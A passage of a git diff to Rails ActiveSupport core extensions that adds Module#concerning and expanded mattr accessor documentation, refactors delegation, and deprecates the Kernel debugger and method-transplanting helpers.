+    return enum_for(:transform_values!) unless block_given?
+    each do |key, value|
+      self[key] = yield(value)
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/integer/multiple.rb b/activesupport/lib/active_support/core_ext/integer/multiple.rb
index 7c6c2f1ca7..c668c7c2eb 100644
--- a/activesupport/lib/active_support/core_ext/integer/multiple.rb
+++ b/activesupport/lib/active_support/core_ext/integer/multiple.rb
@@ -1,9 +1,9 @@
 class Integer
   # Check whether the integer is evenly divisible by the argument.
   #
-  #   0.multiple_of?(0)  #=> true
-  #   6.multiple_of?(5)  #=> false
-  #   10.multiple_of?(2) #=> true
+  #   0.multiple_of?(0)  # => true
+  #   6.multiple_of?(5)  # => false
+  #   10.multiple_of?(2) # => true
   def multiple_of?(number)
     number != 0 ? self % number == 0 : zero?
   end
diff --git a/activesupport/lib/active_support/core_ext/kernel.rb b/activesupport/lib/active_support/core_ext/kernel.rb
index 0275f4c037..364ed9d65f 100644
--- a/activesupport/lib/active_support/core_ext/kernel.rb
+++ b/activesupport/lib/active_support/core_ext/kernel.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/kernel/reporting'
 require 'active_support/core_ext/kernel/agnostics'
-require 'active_support/core_ext/kernel/debugger'
+require 'active_support/core_ext/kernel/concern'
+require 'active_support/core_ext/kernel/reporting'
 require 'active_support/core_ext/kernel/singleton_class'
diff --git a/activesupport/lib/active_support/core_ext/kernel/concern.rb b/activesupport/lib/active_support/core_ext/kernel/concern.rb
new file mode 100644
index 0000000000..bf72caa058
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/kernel/concern.rb
@@ -0,0 +1,10 @@
+require 'active_support/core_ext/module/concerning'
+
+module Kernel
+  # A shortcut to define a toplevel concern, not within a module.
+  #
+  # See Module::Concerning for more.
+  def concern(topic, &module_definition)
+    Object.concern topic, &module_definition
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/kernel/debugger.rb b/activesupport/lib/active_support/core_ext/kernel/debugger.rb
index 2073cac98d..1fde3db070 100644
--- a/activesupport/lib/active_support/core_ext/kernel/debugger.rb
+++ b/activesupport/lib/active_support/core_ext/kernel/debugger.rb
@@ -1,10 +1,3 @@
-module Kernel
-  unless respond_to?(:debugger)
-    # Starts a debugging session if the +debugger+ gem has been loaded (call rails server --debugger to do load it).
-    def debugger
-      message = "\n***** Debugger requested, but was not available (ensure the debugger gem is listed in Gemfile/installed as gem): Start server with --debugger to enable *****\n"
-      defined?(Rails) ? Rails.logger.info(message) : $stderr.puts(message)
-    end
-    alias breakpoint debugger unless respond_to?(:breakpoint)
-  end
-end
+require 'active_support/deprecation'
+
+ActiveSupport::Deprecation.warn("This file is deprecated and will be removed in Rails 5.1 with no replacement.")
diff --git a/activesupport/lib/active_support/core_ext/kernel/reporting.rb b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
index 36ab836457..9189e6d977 100644
--- a/activesupport/lib/active_support/core_ext/kernel/reporting.rb
+++ b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
@@ -1,4 +1,3 @@
-require 'rbconfig'
 require 'tempfile'
 
 module Kernel
@@ -29,27 +28,6 @@ module Kernel
     $VERBOSE = old_verbose
   end
 
-  # For compatibility
-  def silence_stderr #:nodoc:
-    silence_stream(STDERR) { yield }
-  end
-
-  # Silences any stream for the duration of the block.
-  #
-  #   silence_stream(STDOUT) do
-  #     puts 'This will never be seen'
-  #   end
-  #
-  #   puts 'But this will'
-  def silence_stream(stream)
-    old_stream = stream.dup
-    stream.reopen(RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL:' : '/dev/null')
-    stream.sync = true
-    yield
-  ensure
-    stream.reopen(old_stream)
-  end
-
   # Blocks and ignores any exception passed as argument if raised within the block.
   #
   #   suppress(ZeroDivisionError) do
@@ -60,51 +38,6 @@ module Kernel
   #   puts 'This code gets executed and nothing related to ZeroDivisionError was seen'
   def suppress(*exception_classes)
     yield
-  rescue Exception => e
-    raise unless exception_classes.any? { |cls| e.kind_of?(cls) }
-  end
-
-  # Captures the given stream and returns it:
-  #
-  #   stream = capture(:stdout) { puts 'notice' }
-  #   stream # => "notice\n"
-  #
-  #   stream = capture(:stderr) { warn 'error' }
-  #   stream # => "error\n"
-  #
-  # even for subprocesses:
-  #
-  #   stream = capture(:stdout) { system('echo notice') }
-  #   stream # => "notice\n"
-  #
-  #   stream = capture(:stderr) { system('echo error 1>&2') }
-  #   stream # => "error\n"
-  def capture(stream)
-    stream = stream.to_s
-    captured_stream = Tempfile.new(stream)
-    stream_io = eval("$#{stream}")
-    origin_stream = stream_io.dup
-    stream_io.reopen(captured_stream)
-
-    yield
-
-    stream_io.rewind
-    return captured_stream.read
-  ensure
-    captured_stream.close
-    captured_stream.unlink
-    stream_io.reopen(origin_stream)
-  end
-  alias :silence :capture
-
-  # Silences both STDOUT and STDERR, even for subprocesses.
-  #
-  #   quietly { system 'bundle install' }
-  def quietly
-    silence_stream(STDOUT) do
-      silence_stream(STDERR) do
-        yield
-      end
-    end
+  rescue *exception_classes
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/load_error.rb b/activesupport/lib/active_support/core_ext/load_error.rb
index fe24f3716d..d9fb392752 100644
--- a/activesupport/lib/active_support/core_ext/load_error.rb
+++ b/activesupport/lib/active_support/core_ext/load_error.rb
@@ -1,3 +1,5 @@
+require 'active_support/deprecation/proxy_wrappers'
+
 class LoadError
   REGEXPS = [
     /^no such file to load -- (.+)$/i,
@@ -7,6 +9,7 @@ class LoadError
   ]
 
   unless method_defined?(:path)
+    # Returns the path which was unable to be loaded.
     def path
       @path ||= begin
         REGEXPS.find do |regex|
@@ -17,9 +20,11 @@ class LoadError
     end
   end
 
+  # Returns true if the given path name (except perhaps for the ".rb"
+  # extension) is the missing file which caused the exception to be raised.
   def is_missing?(location)
     location.sub(/\.rb$/, '') == path.sub(/\.rb$/, '')
   end
 end
 
-MissingSourceFile = LoadError
\ No newline at end of file
+MissingSourceFile = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('MissingSourceFile', 'LoadError')
diff --git a/activesupport/lib/active_support/core_ext/module.rb b/activesupport/lib/active_support/core_ext/module.rb
index f2d4887df6..b4efff8b24 100644
--- a/activesupport/lib/active_support/core_ext/module.rb
+++ b/activesupport/lib/active_support/core_ext/module.rb
@@ -4,6 +4,7 @@ require 'active_support/core_ext/module/anonymous'
 require 'active_support/core_ext/module/reachable'
 require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/module/attr_internal'
+require 'active_support/core_ext/module/concerning'
 require 'active_support/core_ext/module/delegation'
 require 'active_support/core_ext/module/deprecation'
 require 'active_support/core_ext/module/remove_method'
diff --git a/activesupport/lib/active_support/core_ext/module/aliasing.rb b/activesupport/lib/active_support/core_ext/module/aliasing.rb
index 580cb80413..0a6fadf928 100644
--- a/activesupport/lib/active_support/core_ext/module/aliasing.rb
+++ b/activesupport/lib/active_support/core_ext/module/aliasing.rb
@@ -19,9 +19,9 @@ class Module
   #   alias_method :foo_without_feature?, :foo?
   #   alias_method :foo?, :foo_with_feature?
   #
-  # so you can safely chain foo, foo?, and foo! with the same feature.
+  # so you can safely chain foo, foo?, foo! and/or foo= with the same feature.
   def alias_method_chain(target, feature)
-    # Strip out punctuation on predicates or bang methods since
+    # Strip out punctuation on predicates, bang or writer methods since
     # e.g. target?_without_feature is not a valid method name.
     aliased_target, punctuation = target.to_s.sub(/([?!=])$/, ''), $1
     yield(aliased_target, punctuation) if block_given?
diff --git a/activesupport/lib/active_support/core_ext/module/attr_internal.rb b/activesupport/lib/active_support/core_ext/module/attr_internal.rb
index db07d549b0..93fb598650 100644
--- a/activesupport/lib/active_support/core_ext/module/attr_internal.rb
+++ b/activesupport/lib/active_support/core_ext/module/attr_internal.rb
@@ -27,10 +27,8 @@ class Module
 
     def attr_internal_define(attr_name, type)
       internal_name = attr_internal_ivar_name(attr_name).sub(/\A@/, '')
-      class_eval do # class_eval is necessary on 1.9 or else the methods a made private
-        # use native attr_* methods as they are faster on some Ruby implementations
-        send("attr_#{type}", internal_name)
-      end
+      # use native attr_* methods as they are faster on some Ruby implementations
+      send("attr_#{type}", internal_name)
       attr_name, internal_name = "#{attr_name}=", "#{internal_name}=" if type == :writer
       alias_method attr_name, internal_name
       remove_method internal_name
diff --git a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
index 672cc0256f..d4e6b5a1ac 100644
--- a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
@@ -1,10 +1,59 @@
 require 'active_support/core_ext/array/extract_options'
 
+# Extends the module object with class/module and instance accessors for
+# class/module attributes, just like the native attr* accessors for instance
+# attributes.
 class Module
+  # Defines a class attribute and creates a class and instance reader methods.
+  # The underlying the class variable is set to +nil+, if it is not previously
+  # defined.
+  #
+  #   module HairColors
+  #     mattr_reader :hair_colors
+  #   end
+  #
+  #   HairColors.hair_colors # => nil
+  #   HairColors.class_variable_set("@@hair_colors", [:brown, :black])
+  #   HairColors.hair_colors # => [:brown, :black]
+  #
+  # The attribute name must be a valid method name in Ruby.
+  #
+  #   module Foo
+  #     mattr_reader :"1_Badname "
+  #   end
+  #   # => NameError: invalid attribute name
+  #
+  # If you want to opt out the creation on the instance reader method, pass
+  # <tt>instance_reader: false</tt> or <tt>instance_accessor: false</tt>.
+  #
+  #   module HairColors
+  #     mattr_writer :hair_colors, instance_reader: false
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.new.hair_colors # => NoMethodError
+  #
+  #
+  # Also, you can pass a block to set up the attribute with a default value.
+  #
+  #   module HairColors
+  #     cattr_reader :hair_colors do
+  #       [:brown, :black, :blonde, :red]
+  #     end
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.hair_colors # => [:brown, :black, :blonde, :red]
   def mattr_reader(*syms)
     options = syms.extract_options!
     syms.each do |sym|
-      raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
+      raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
       class_eval(<<-EOS, __FILE__, __LINE__ + 1)
         @@#{sym} = nil unless defined? @@#{sym}
 
@@ -20,14 +69,60 @@ class Module
           end
         EOS
       end
+      class_variable_set("@@#{sym}", yield) if block_given?
     end
   end
+  alias :cattr_reader :mattr_reader
 
+  # Defines a class attribute and creates a class and instance writer methods to
+  # allow assignment to the attribute.
+  #
+  #   module HairColors
+  #     mattr_writer :hair_colors
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   HairColors.hair_colors = [:brown, :black]
+  #   Person.class_variable_get("@@hair_colors") # => [:brown, :black]
+  #   Person.new.hair_colors = [:blonde, :red]
+  #   HairColors.class_variable_get("@@hair_colors") # => [:blonde, :red]
+  #
+  # If you want to opt out the instance writer method, pass
+  # <tt>instance_writer: false</tt> or <tt>instance_accessor: false</tt>.
+  #
+  #   module HairColors
+  #     mattr_writer :hair_colors, instance_writer: false
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.new.hair_colors = [:blonde, :red] # => NoMethodError
+  #
+  # Also, you can pass a block to set up the attribute with a default value.
+  #
+  #   class HairColors
+  #     mattr_writer :hair_colors do
+  #       [:brown, :black, :blonde, :red]
+  #     end
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
   def mattr_writer(*syms)
     options = syms.extract_options!
     syms.each do |sym|
-      raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
+      raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
       class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+        @@#{sym} = nil unless defined? @@#{sym}
+
         def self.#{sym}=(obj)
           @@#{sym} = obj
         end
@@ -40,27 +135,78 @@ class Module
           end
         EOS
       end
+      send("#{sym}=", yield) if block_given?
     end
   end
+  alias :cattr_writer :mattr_writer
 
-  # Extends the module object with module and instance accessors for class attributes,
-  # just like the native attr* accessors for instance attributes.
+  # Defines both class and instance accessors for class attributes.
   #
-  #   module AppConfiguration
-  #     mattr_accessor :google_api_key
+  #   module HairColors
+  #     mattr_accessor :hair_colors
+  #   end
   #
-  #     self.google_api_key = "123456789"
+  #   class Person
+  #     include HairColors
   #   end
   #
-  #   AppConfiguration.google_api_key # => "123456789"
-  #   AppConfiguration.google_api_key = "overriding the api key!"
-  #   AppConfiguration.google_api_key # => "overriding the api key!"
+  #   Person.hair_colors = [:brown, :black, :blonde, :red]
+  #   Person.hair_colors     # => [:brown, :black, :blonde, :red]
+  #   Person.new.hair_colors # => [:brown, :black, :blonde, :red]
+  #
+  # If a subclass changes the value then that would also change the value for
+  # parent class. Similarly if parent class changes the value then that would
+  # change the value of subclasses too.
+  #
+  #   class Male < Person
+  #   end
+  #
+  #   Male.hair_colors << :blue
+  #   Person.hair_colors # => [:brown, :black, :blonde, :red, :blue]
   #
   # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
   # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
-  # To opt out of both instance methods, pass <tt>instance_accessor: false</tt>.
-  def mattr_accessor(*syms)
-    mattr_reader(*syms)
-    mattr_writer(*syms)
+  #
+  #   module HairColors
+  #     mattr_accessor :hair_colors, instance_writer: false, instance_reader: false
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.new.hair_colors = [:brown]  # => NoMethodError
+  #   Person.new.hair_colors             # => NoMethodError
+  #
+  # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
+  #
+  #   module HairColors
+  #     mattr_accessor :hair_colors, instance_accessor: false
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.new.hair_colors = [:brown]  # => NoMethodError
+  #   Person.new.hair_colors             # => NoMethodError
+  #
+  # Also you can pass a block to set up the attribute with a default value.
+  #
+  #   module HairColors
+  #     mattr_accessor :hair_colors do
+  #       [:brown, :black, :blonde, :red]
+  #     end
+  #   end
+  #
+  #   class Person
+  #     include HairColors
+  #   end
+  #
+  #   Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
+  def mattr_accessor(*syms, &blk)
+    mattr_reader(*syms, &blk)
+    mattr_writer(*syms, &blk)
   end
+  alias :cattr_accessor :mattr_accessor
 end
diff --git a/activesupport/lib/active_support/core_ext/module/concerning.rb b/activesupport/lib/active_support/core_ext/module/concerning.rb
new file mode 100644
index 0000000000..07a392404e
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/concerning.rb
@@ -0,0 +1,135 @@
+require 'active_support/concern'
+
+class Module
+  # = Bite-sized separation of concerns
+  #
+  # We often find ourselves with a medium-sized chunk of behavior that we'd
+  # like to extract, but only mix in to a single class.
+  #
+  # Extracting a plain old Ruby object to encapsulate it and collaborate or
+  # delegate to the original object is often a good choice, but when there's
+  # no additional state to encapsulate or we're making DSL-style declarations
+  # about the parent class, introducing new collaborators can obfuscate rather
+  # than simplify.
+  #
+  # The typical route is to just dump everything in a monolithic class, perhaps
+  # with a comment, as a least-bad alternative. Using modules in separate files
+  # means tedious sifting to get a big-picture view.
+  #
+  # = Dissatisfying ways to separate small concerns
+  #
+  # == Using comments:
+  #
+  #   class Todo
+  #     # Other todo implementation
+  #     # ...
+  #
+  #     ## Event tracking
+  #     has_many :events
+  #
+  #     before_create :track_creation
+  #     after_destroy :track_deletion
+  #
+  #     private
+  #       def track_creation
+  #         # ...
+  #       end
+  #   end
+  #
+  # == With an inline module:
+  #
+  # Noisy syntax.
+  #
+  #   class Todo
+  #     # Other todo implementation
+  #     # ...
+  #
+  #     module EventTracking
+  #       extend ActiveSupport::Concern
+  #
+  #       included do
+  #         has_many :events
+  #         before_create :track_creation
+  #         after_destroy :track_deletion
+  #       end
+  #
+  #       private
+  #         def track_creation
+  #           # ...
+  #         end
+  #     end
+  #     include EventTracking
+  #   end
+  #
+  # == Mix-in noise exiled to its own file:
+  #
+  # Once our chunk of behavior starts pushing the scroll-to-understand it's
+  # boundary, we give in and move it to a separate file. At this size, the
+  # overhead feels in good proportion to the size of our extraction, despite
+  # diluting our at-a-glance sense of how things really work.
+  #
+  #   class Todo
+  #     # Other todo implementation
+  #     # ...
+  #
+  #     include TodoEventTracking
+  #   end
+  #
+  # = Introducing Module#concerning
+  #
+  # By quieting the mix-in noise, we arrive at a natural, low-ceremony way to
+  # separate bite-sized concerns.
+  #
+  #   class Todo
+  #     # Other todo implementation
+  #     # ...
+  #
+  #     concerning :EventTracking do
+  #       included do
+  #         has_many :events
+  #         before_create :track_creation
+  #         after_destroy :track_deletion
+  #       end
+  #
+  #       private
+  #         def track_creation
+  #           # ...
+  #         end
+  #     end
+  #   end
+  #
+  #   Todo.ancestors
+  #   # => Todo, Todo::EventTracking, Object
+  #
+  # This small step has some wonderful ripple effects. We can
+  # * grok the behavior of our class in one glance,
+  # * clean up monolithic junk-drawer classes by separating their concerns, and
+  # * stop leaning on protected/private for crude "this is internal stuff" modularity.
+  module Concerning
+    # Define a new concern and mix it in.
+    def concerning(topic, &block)
+      include concern(topic, &block)
+    end
+
+    # A low-cruft shortcut to define a concern.
+    #
+    #   concern :EventTracking do
+    #     ...
+    #   end
+    #
+    # is equivalent to
+    #
+    #   module EventTracking
+    #     extend ActiveSupport::Concern
+    #
+    #     ...
+    #   end
+    def concern(topic, &module_definition)
+      const_set topic, Module.new {
+        extend ::ActiveSupport::Concern
+        module_eval(&module_definition)
+      }
+    end
+  end
+  include Concerning
+end
diff --git a/activesupport/lib/active_support/core_ext/module/delegation.rb b/activesupport/lib/active_support/core_ext/module/delegation.rb
index 182e74d9e1..a5f4d03256 100644
--- a/activesupport/lib/active_support/core_ext/module/delegation.rb
+++ b/activesupport/lib/active_support/core_ext/module/delegation.rb
@@ -1,15 +1,23 @@
+require 'set'
+
 class Module
   # Error generated by +delegate+ when a method is called on +nil+ and +allow_nil+
   # option is not used.
   class DelegationError < NoMethodError; end
 
+  RUBY_RESERVED_WORDS = Set.new(
+    %w(alias and BEGIN begin break case class def defined? do else elsif END
+       end ensure false for if in module next nil not or redo rescue retry
+       return self super then true undef unless until when while yield)
+  ).freeze
+
   # Provides a +delegate+ class method to easily expose contained objects'
   # public methods as your own.
   #
   # ==== Options
   # * <tt>:to</tt> - Specifies the target object
   # * <tt>:prefix</tt> - Prefixes the new method with the target name or a custom prefix
-  # * <tt>:allow_nil</tt> - if set to true, prevents a +NoMethodError+ to be raised
+  # * <tt>:allow_nil</tt> - if set to true, prevents a +NoMethodError+ from being raised
   #
   # The macro receives one or more method names (specified as symbols or
   # strings) and the name of the target object via the <tt>:to</tt> option
@@ -138,6 +146,8 @@ class Module
   #
   #   Foo.new("Bar").name # raises NoMethodError: undefined method `name'
   #
+  # The target method must be public, otherwise it will raise +NoMethodError+.
+  #
   def delegate(*methods)
     options = methods.pop
     unless options.is_a?(Hash) && to = options[:to]
@@ -161,14 +171,14 @@ class Module
     line = line.to_i
 
     to = to.to_s
-    to = 'self.class' if to == 'class'
+    to = "self.#{to}" if RUBY_RESERVED_WORDS.include?(to)
 
     methods.each do |method|
       # Attribute writer methods only accept one argument. Makes sure []=
       # methods still accept two arguments.
       definition = (method =~ /[^\]]=$/) ? 'arg' : '*args, &block'
 
-      # The following generated methods call the target exactly once, storing
+      # The following generated method calls the target exactly once, storing
       # the returned value in a dummy variable.
       #
       # Reason is twofold: On one hand doing less calls is in general better.
@@ -176,30 +186,32 @@ class Module
       # whereas conceptually, from the user point of view, the delegator should
       # be doing one call.
       if allow_nil
-        module_eval(<<-EOS, file, line - 3)
-          def #{method_prefix}#{method}(#{definition})        # def customer_name(*args, &block)
-            _ = #{to}                                         #   _ = client
-            if !_.nil? || nil.respond_to?(:#{method})         #   if !_.nil? || nil.respond_to?(:name)
-              _.#{method}(#{definition})                      #     _.name(*args, &block)
-            end                                               #   end
-          end                                                 # end
-        EOS
+        method_def = [
+          "def #{method_prefix}#{method}(#{definition})",
+          "_ = #{to}",
+          "if !_.nil? || nil.respond_to?(:#{method})",
+          "  _.#{method}(#{definition})",
+          "end",
+        "end"
+        ].join ';'
       else
         exception = %(raise DelegationError, "#{self}##{method_prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}")
 
-        module_eval(<<-EOS, file, line - 2)
-          def #{method_prefix}#{method}(#{definition})                                          # def customer_name(*args, &block)
-            _ = #{to}                                                                           #   _ = client
-            _.#{method}(#{definition})                                                          #   _.name(*args, &block)
-          rescue NoMethodError => e                                                             # rescue NoMethodError => e
-            if _.nil? && e.name == :#{method}                                                   #   if _.nil? && e.name == :name
-              #{exception}                                                                      #     # add helpful message to the exception
-            else                                                                                #   else
-              raise                                                                             #     raise
-            end                                                                                 #   end
-          end                                                                                   # end
-        EOS
+        method_def = [
+          "def #{method_prefix}#{method}(#{definition})",
+          " _ = #{to}",
+          "  _.#{method}(#{definition})",
+          "rescue NoMethodError => e",
+          "  if _.nil? && e.name == :#{method}",
+          "    #{exception}",
+          "  else",
+          "    raise",
+          "  end",
+          "end"
+        ].join ';'
       end
+
+      module_eval(method_def, file, line)
     end
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/module/deprecation.rb b/activesupport/lib/active_support/core_ext/module/deprecation.rb
index d873de197f..56d670fbe8 100644
--- a/activesupport/lib/active_support/core_ext/module/deprecation.rb
+++ b/activesupport/lib/active_support/core_ext/module/deprecation.rb
@@ -1,5 +1,3 @@
-require 'active_support/deprecation/method_wrappers'
-
 class Module
   #   deprecate :foo
   #   deprecate bar: 'message'
diff --git a/activesupport/lib/active_support/core_ext/module/method_transplanting.rb b/activesupport/lib/active_support/core_ext/module/method_transplanting.rb
index b1097cc83b..1fde3db070 100644
--- a/activesupport/lib/active_support/core_ext/module/method_transplanting.rb
+++ b/activesupport/lib/active_support/core_ext/module/method_transplanting.rb
@@ -1,11 +1,3 @@
-class Module
-  ###
-  # TODO: remove this after 1.9 support is dropped
-  def methods_transplantable? # :nodoc:
-    x = Module.new { def foo; end }
-    Module.new { define_method :bar, x.instance_method(:foo) }
-    true
-  rescue TypeError
-    false
-  end
-end
+require 'active_support/deprecation'
+
+ActiveSupport::Deprecation.warn("This file is deprecated and will be removed in Rails 5.1 with no replacement.")
diff --git a/activesupport/lib/active_support/core_ext/module/remove_method.rb b/activesupport/lib/active_support/core_ext/module/remove_method.rb
index 719071d1c2..8a2569a7d0 100644
--- a/activesupport/lib/active_support/core_ext/module/remove_method.rb
+++ b/activesupport/lib/active_support/core_ext/module/remove_method.rb
@@ -1,10 +1,13 @@
 class Module
+  # Remove the named method, if it exists.
   def remove_possible_method(method)
     if method_defined?(method) || private_method_defined?(method)
       undef_method(method)
     end
   end
 
+  # Replace the existing method definition, if there is one, with the contents
+  # of the block.
   def redefine_method(method, &block)
     remove_possible_method(method)
     define_method(method, &block)
diff --git a/activesupport/lib/active_support/core_ext/name_error.rb b/activesupport/lib/active_support/core_ext/name_error.rb
index e1ebd4f91c..6b447d772b 100644
--- a/activesupport/lib/active_support/core_ext/name_error.rb
+++ b/activesupport/lib/active_support/core_ext/name_error.rb
@@ -1,5 +1,12 @@
 class NameError
   # Extract the name of the missing constant from the exception message.
+  #
+  #   begin
+  #     HelloWorld
+  #   rescue NameError => e
+  #     e.missing_name
+  #   end
+  #   # => "HelloWorld"
   def missing_name
     if /undefined local variable or method/ !~ message
       $1 if /((::)?([A-Z]\w*)(::[A-Z]\w*)*)$/ =~ message
@@ -7,10 +14,16 @@ class NameError
   end
 
   # Was this exception raised because the given name was missing?
+  #
+  #   begin
+  #     HelloWorld
+  #   rescue NameError => e
+  #     e.missing_name?("HelloWorld")
+  #   end
+  #   # => true
   def missing_name?(name)
     if name.is_a? Symbol
-      last_name = (missing_name || '').split('::').last
-      last_name == name.to_s
+      self.name == name
     else
       missing_name == name.to_s
     end
diff --git a/activesupport/lib/active_support/core_ext/numeric/bytes.rb b/activesupport/lib/active_support/core_ext/numeric/bytes.rb
index deea8e9358..dfbca32474 100644
--- a/activesupport/lib/active_support/core_ext/numeric/bytes.rb
+++ b/activesupport/lib/active_support/core_ext/numeric/bytes.rb
@@ -7,36 +7,56 @@ class Numeric
   EXABYTE  = PETABYTE * 1024
 
   # Enables the use of byte calculations and declarations, like 45.bytes + 2.6.megabytes
+  #
+  #   2.bytes # => 2
   def bytes
     self
   end
   alias :byte :bytes
 
+  # Returns the number of bytes equivalent to the kilobytes provided.
+  #
+  #   2.kilobytes # => 2048
   def kilobytes
     self * KILOBYTE
   end
   alias :kilobyte :kilobytes
 
+  # Returns the number of bytes equivalent to the megabytes provided.
+  #
+  #   2.megabytes # => 2_097_152
   def megabytes
     self * MEGABYTE
   end
   alias :megabyte :megabytes
 
+  # Returns the number of bytes equivalent to the gigabytes provided.
+  #
+  #   2.gigabytes # => 2_147_483_648
   def gigabytes
     self * GIGABYTE
   end
   alias :gigabyte :gigabytes
 
+  # Returns the number of bytes equivalent to the terabytes provided.
+  #
+  #   2.terabytes # => 2_199_023_255_552
   def terabytes
     self * TERABYTE
   end
   alias :terabyte :terabytes
 
+  # Returns the number of bytes equivalent to the petabytes provided.
+  #
+  #   2.petabytes # => 2_251_799_813_685_248
   def petabytes
     self * PETABYTE
   end
   alias :petabyte :petabytes
 
+  # Returns the number of bytes equivalent to the exabytes provided.
+  #
+  #   2.exabytes # => 2_305_843_009_213_693_952
   def exabytes
     self * EXABYTE
   end
diff --git a/activesupport/lib/active_support/core_ext/numeric/conversions.rb b/activesupport/lib/active_support/core_ext/numeric/conversions.rb
index 6d3635c69a..0c8ff79237 100644
--- a/activesupport/lib/active_support/core_ext/numeric/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/numeric/conversions.rb
@@ -118,18 +118,28 @@ class Numeric
     end
   end
 
-  [Float, Fixnum, Bignum, BigDecimal].each do |klass|
-    klass.send(:alias_method, :to_default_s, :to_s)
-
-    klass.send(:define_method, :to_s) do |*args|
-      if args[0].is_a?(Symbol)
-        format = args[0]
-        options = args[1] || {}
+  [Fixnum, Bignum].each do |klass|
+    klass.class_eval do
+      alias_method :to_default_s, :to_s
+      def to_s(base_or_format = 10, options = nil)
+        if base_or_format.is_a?(Symbol)
+          to_formatted_s(base_or_format, options || {})
+        else
+          to_default_s(base_or_format)
+        end
+      end
+    end
+  end
 
-        self.to_formatted_s(format, options)
+  Float.class_eval do
+    alias_method :to_default_s, :to_s
+    def to_s(*args)
+      if args.empty?
+        to_default_s
       else
-        to_default_s(*args)
+        to_formatted_s(*args)
       end
     end
   end
+
 end
diff --git a/activesupport/lib/active_support/core_ext/numeric/time.rb b/activesupport/lib/active_support/core_ext/numeric/time.rb
index 87b9a23aef..98716383f4 100644
--- a/activesupport/lib/active_support/core_ext/numeric/time.rb
+++ b/activesupport/lib/active_support/core_ext/numeric/time.rb
@@ -1,6 +1,8 @@
 require 'active_support/duration'
 require 'active_support/core_ext/time/calculations'
 require 'active_support/core_ext/time/acts_like'
+require 'active_support/core_ext/date/calculations'
+require 'active_support/core_ext/date/acts_like'
 
 class Numeric
   # Enables the use of time calculations and declarations, like 45.minutes + 2.hours + 4.years.
@@ -36,44 +38,52 @@ class Numeric
   end
   alias :second :seconds
 
+  # Returns a Duration instance matching the number of minutes provided.
+  #
+  #   2.minutes # => 120 seconds
   def minutes
     ActiveSupport::Duration.new(self * 60, [[:seconds, self * 60]])
   end
   alias :minute :minutes
 
+  # Returns a Duration instance matching the number of hours provided.
+  #
+  #   2.hours # => 7_200 seconds
   def hours
     ActiveSupport::Duration.new(self * 3600, [[:seconds, self * 3600]])
   end
   alias :hour :hours
 
+  # Returns a Duration instance matching the number of days provided.
+  #
+  #   2.days # => 2 days
   def days
     ActiveSupport::Duration.new(self * 24.hours, [[:days, self]])
   end
   alias :day :days
 
+  # Returns a Duration instance matching the number of weeks provided.
+  #
+  #   2.weeks # => 14 days
   def weeks
     ActiveSupport::Duration.new(self * 7.days, [[:days, self * 7]])
   end
   alias :week :weeks
 
+  # Returns a Duration instance matching the number of fortnights provided.
+  #
+  #   2.fortnights # => 28 days
   def fortnights
     ActiveSupport::Duration.new(self * 2.weeks, [[:days, self * 14]])
   end
   alias :fortnight :fortnights
 
-  # Reads best without arguments:  10.minutes.ago
-  def ago(time = ::Time.current)
-    time - self
-  end
-
-  # Reads best with argument:  10.minutes.until(time)
-  alias :until :ago
-
-  # Reads best with argument:  10.minutes.since(time)
-  def since(time = ::Time.current)
-    time + self
+  # Returns the number of milliseconds equivalent to the seconds provided.
+  # Used with the standard time durations, like 1.hour.in_milliseconds --
+  # so we can feed them to JavaScript functions like getTime().
+  #
+  #   2.in_milliseconds # => 2_000
+  def in_milliseconds
+    self * 1000
   end
-
-  # Reads best without arguments:  10.minutes.from_now
-  alias :from_now :since
 end
diff --git a/activesupport/lib/active_support/core_ext/object.rb b/activesupport/lib/active_support/core_ext/object.rb
index ec2157221f..f4f9152d6a 100644
--- a/activesupport/lib/active_support/core_ext/object.rb
+++ b/activesupport/lib/active_support/core_ext/object.rb
@@ -8,7 +8,7 @@ require 'active_support/core_ext/object/inclusion'
 require 'active_support/core_ext/object/conversions'
 require 'active_support/core_ext/object/instance_variables'
 
-require 'active_support/core_ext/object/to_json'
+require 'active_support/core_ext/object/json'
 require 'active_support/core_ext/object/to_param'
 require 'active_support/core_ext/object/to_query'
 require 'active_support/core_ext/object/with_options'
